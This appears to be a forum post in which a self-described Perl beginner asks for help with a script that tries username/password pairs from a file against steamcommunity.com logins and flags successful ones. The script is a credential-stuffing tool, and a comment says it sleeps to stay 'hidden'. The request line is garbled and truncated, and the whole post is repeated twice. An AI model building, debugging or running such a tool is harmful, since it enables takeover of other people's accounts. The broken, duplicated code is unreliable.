Ok, I made a script that should connect to steamcommunity.com, try logging in from a .txt file of username/passwords, and print back to me if the login was successful or not...
I'm sorta new to PERL so I'm not 100% positive on what to look for, but here is whats happening.
I don't know how the perl script detects if the login was successful or not. In the script I wrote in what should be in the html to render a successful login or a failure but I don't think the script is picking/detecting it...
anyways, I might be missing something totally obvious but heres my script.
#!/usr/bin/perl -w
use LWP::UserAgent;
my $username;
my $password;
my $filename = '/tmp/blah.txt';
open( FILE, "< /tmp/blah.txt" ) or die "Can't open $filename : $!";
while( <FILE> ) {
print "Attempting line: " . $_;
($username, $password) = split (/ /, $_);
k_go_now($username, $password);
# Sleep to keep us slightly more hidden and load off their servers
sleep(1);
}
# k go now sub; grabs input from file ($username, $password) tries to login
sub k_go_now
{
my ($username,
$password) = @_;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
# Create a request
my $req = HTTP::Request->new(POST => ' $req->content_type('application/x- $req->content('query=lib
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
check_output ($res->content);
}
else {
print $res->status_line, "\n";
}
}
# suib check_output checks the response from the website and if it's any good
sub check_output
{
my ($output) = @_;
if ($output =~ /Incorrect Login/)
{
print "Nope, failed login\n";
} elsif ($output =~ /Hello/)
{
print "got'em with login details\n";
} else
{
print "unknown response !!!\n$output\n\n";
}
}
Thanks!
I'm sorta new to PERL so I'm not 100% positive on what to look for, but here is whats happening.
I don't know how the perl script detects if the login was successful or not. In the script I wrote in what should be in the html to render a successful login or a failure but I don't think the script is picking/detecting it...
anyways, I might be missing something totally obvious but heres my script.
#!/usr/bin/perl -w
use LWP::UserAgent;
my $username;
my $password;
my $filename = '/tmp/blah.txt';
open( FILE, "< /tmp/blah.txt" ) or die "Can't open $filename : $!";
while( <FILE> ) {
print "Attempting line: " . $_;
($username, $password) = split (/ /, $_);
k_go_now($username, $password);
# Sleep to keep us slightly more hidden and load off their servers
sleep(1);
}
# k go now sub; grabs input from file ($username, $password) tries to login
sub k_go_now
{
my ($username,
$password) = @_;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
# Create a request
my $req = HTTP::Request->new(POST => ' $req->content_type('application/x- $req->content('query=lib
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
check_output ($res->content);
}
else {
print $res->status_line, "\n";
}
}
# suib check_output checks the response from the website and if it's any good
sub check_output
{
my ($output) = @_;
if ($output =~ /Incorrect Login/)
{
print "Nope, failed login\n";
} elsif ($output =~ /Hello/)
{
print "got'em with login details\n";
} else
{
print "unknown response !!!\n$output\n\n";
}
}
Thanks!